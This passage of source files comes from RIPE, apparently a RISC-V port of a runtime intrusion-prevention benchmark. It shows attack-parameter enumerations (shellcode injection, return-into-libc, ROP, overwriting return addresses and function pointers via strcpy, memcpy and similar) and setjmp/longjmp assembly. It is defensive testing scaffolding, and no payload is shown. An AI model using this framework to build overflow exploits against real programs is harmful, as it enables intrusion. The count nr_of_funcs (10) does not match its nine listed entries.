void build_shellcode(char *shellcode); 180 | void hex_to_string(char *str, size_t val); 181 | void format_instruction(char *dest, size_t insn); 182 | 183 | const char *hex_to_bin(char c) { 184 | if (c >= '0' && c <= '9') return bin4b[c - '0']; 185 | if (c >= 'a' && c <= 'f') return bin4b[10 + c - 'a']; 186 | return NULL; 187 | } 188 | 189 | #endif /* !RIPE_ATTACK_GENERATOR_H */ 190 | -------------------------------------------------------------------------------- /ripe/src/ripe_attack_parameters.h: -------------------------------------------------------------------------------- 1 | /* RIPE was originally developed by John Wilander (@johnwilander) 2 | * and was debugged and extended by Nick Nikiforakis (@nicknikiforakis) 3 | * 4 | * RISC-V port developed by John Merrill 5 | * 6 | * Released under the MIT license (see file named LICENSE) 7 | * 8 | * This program is part the paper titled 9 | * RIPE: Runtime Intrusion Prevention Evaluator 10 | * Authored by: John Wilander, Nick Nikiforakis, Yves Younan, 11 | * Mariam Kamkar and Wouter Joosen 12 | * Published in the proceedings of ACSAC 2011, Orlando, Florida 13 | * 14 | * Please cite accordingly. 15 | */ 16 | 17 | /** 18 | * @author John Wilander 19 | * 2007-01-16 20 | */ 21 | 22 | #ifndef RIPE_ATTACK_PARAMETERS_H 23 | #define RIPE_ATTACK_PARAMETERS_H 24 | 25 | #define ATTACK_IMPOSSIBLE -900 26 | #define ATTACK_NOT_IMPLEMENTED -909 27 | 28 | /* Enumerations for typing of attack form parameters */ 29 | /* Each enumeration has its own integer space to provide better type safety */ 30 | enum techniques {DIRECT=100, INDIRECT}; 31 | enum inject_params {INJECTED_CODE_NO_NOP=200, RETURN_INTO_LIBC, 32 | RETURN_ORIENTED_PROGRAMMING, DATA_ONLY}; 33 | 34 | enum code_ptrs {RET_ADDR=300, FUNC_PTR_STACK_VAR, FUNC_PTR_STACK_PARAM, 35 | FUNC_PTR_HEAP, FUNC_PTR_BSS, FUNC_PTR_DATA, 36 | LONGJMP_BUF_STACK_VAR, LONGJMP_BUF_STACK_PARAM, 37 | LONGJMP_BUF_HEAP, LONGJMP_BUF_BSS, LONGJMP_BUF_DATA, 38 | STRUCT_FUNC_PTR_STACK,STRUCT_FUNC_PTR_HEAP, 39 | STRUCT_FUNC_PTR_DATA,STRUCT_FUNC_PTR_BSS, VAR_BOF, VAR_IOF, VAR_LEAK}; 40 | enum locations {STACK=400, HEAP, BSS, DATA}; 41 | enum functions {MEMCPY=500, STRCPY, STRNCPY, SPRINTF, SNPRINTF, 42 | STRCAT, STRNCAT, SSCANF, HOMEBREW}; 43 | 44 | /* 2 overflow techniques */ 45 | size_t nr_of_techniques = 2; 46 | char *opt_techniques[] = {"direct", "indirect"}; 47 | 48 | /* 4 types of injection parameters */ 49 | size_t nr_of_inject_params = 4; 50 | char *opt_inject_params[] = {"shellcode", "returnintolibc", "rop", "dataonly"}; 51 | 52 | /* 18 code pointers to overwrite */ 53 | size_t nr_of_code_ptrs = 18; 54 | char *opt_code_ptrs[] = {"ret", "funcptrstackvar", "funcptrstackparam", 55 | "funcptrheap", "funcptrbss", "funcptrdata", 56 | "longjmpstackvar", "longjmpstackparam", 57 | "longjmpheap", "longjmpbss", "longjmpdata", 58 | "structfuncptrstack","structfuncptrheap", 59 | "structfuncptrdata","structfuncptrbss", "bof", "iof", "leak"}; 60 | 61 | /* 4 memory locations */ 62 | size_t nr_of_locations = 4; 63 | char *opt_locations[] = {"stack", "heap", "bss", "data"}; 64 | 65 | /* 9 vulnerable functions */ 66 | size_t nr_of_funcs = 10; 67 | char *opt_funcs[] = {"memcpy", "strcpy", "strncpy", "sprintf", "snprintf", 68 | "strcat", "strncat", "sscanf", "homebrew"}; 69 | 70 | #endif /* !RIPE_ATTACK_PARAMETERS_H */ 71 | -------------------------------------------------------------------------------- /ripe/src/setjmp.S: -------------------------------------------------------------------------------- 1 | /* 2 | * (C) 2018 Alexander Graf 3 | * 4 | * SPDX-License-Identifier: GPL-2.0+ 5 | */ 6 | 7 | #ifdef CONFIG_CPU_RISCV_64 8 | #define STORE_IDX(reg, idx) sd reg, (idx*8)(a0) 9 | #define LOAD_IDX(reg, idx) ld reg, (idx*8)(a0) 10 | #else 11 | #define STORE_IDX(reg, idx) sw reg, (idx*4)(a0) 12 | #define LOAD_IDX(reg, idx) lw reg, (idx*4)(a0) 13 | #endif 14 | 15 | #include 16 | 17 | /* exports */ 18 | GTEXT(setjmp) 19 | GTEXT(longjmp) 20 | 21 | SECTION_FUNC(TEXT, setjmp) 22 | /* Preserve all callee-saved registers and the SP */ 23 | STORE_IDX(s0, 0) 24 | STORE_IDX(s1, 1) 25 | STORE_IDX(s2, 2) 26 | STORE_IDX(s3, 3) 27 | STORE_IDX(s4, 4) 28 | STORE_IDX(s5, 5) 29 | STORE_IDX(s6, 6) 30 | STORE_IDX(s7, 7) 31 | STORE_IDX(s8, 8) 32 | STORE_IDX(s9, 9) 33 | STORE_IDX(s10, 10) 34 | STORE_IDX(s11, 11) 35 | STORE_IDX(ra, 12) 36 | STORE_IDX(sp, 13) 37 | li a0, 0 38 | ret 39 | 40 | SECTION_FUNC(TEXT, longjmp) 41 | LOAD_IDX(s0, 0) 42 | LOAD_IDX(s1, 1) 43 | LOAD_IDX(s2, 2) 44 | LOAD_IDX(s3, 3) 45 | LOAD_IDX(s4, 4) 46 | LOAD_IDX(s5, 5) 47 | LOAD_IDX(s6, 6) 48 | LOAD_IDX(s7, 7) 49 | LOAD_IDX(s8, 8) 50 | LOAD_IDX(s9, 9) 51 | LOAD_IDX(s10, 10) 52 | LOAD_IDX(s11, 11) 53 | LOAD_IDX(ra, 12) 54 | LOAD_IDX(sp, 13) 55 | 56 | /* Move the return value in place, but return 1 if passed 0. */ 57 | beq a1, zero, longjmp_1 58 | mv a0, a1 59 | ret 60 | 61 | longjmp_1: 62 | li a0, 1 63 | ret 64 | -------------------------------------------------------------------------------- /ripe/src/setjmp.h: -------------------------------------------------------------------------------- 1 | /* 2 | * (C) Copyright 2018 Alexander Graf 3 | * 4 | * SPDX-License-Identifier: GPL-2.0+ 5 | */ 6 | 7 | #ifndef _SETJMP_H_ 8 | #define _SETJMP_H_ 1 9 | 10 | /* 11 | * This really should be opaque, but the EFI implementation wrongly 12 | * assumes that a 'struct jmp_buf_data' is defined. 13 | */ 14 | struct jmp_buf_data { 15 | /* x2, x8, x9, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, sp */ 16 | unsigned long s_regs[12]; /* s0 - s11 */ 17 | unsigned long ra; 18 | unsigned long sp; 19 | }; 20 | 21 | typedef struct jmp_buf_data jmp_buf[1]; 22 | 23 | int setjmp(jmp_buf jmp); 24 | void longjmp(jmp_buf jmp, int ret); 25 | 26 | #endif /* _SETJMP_H_ */ 27 | --------------------------------------------------------------------------------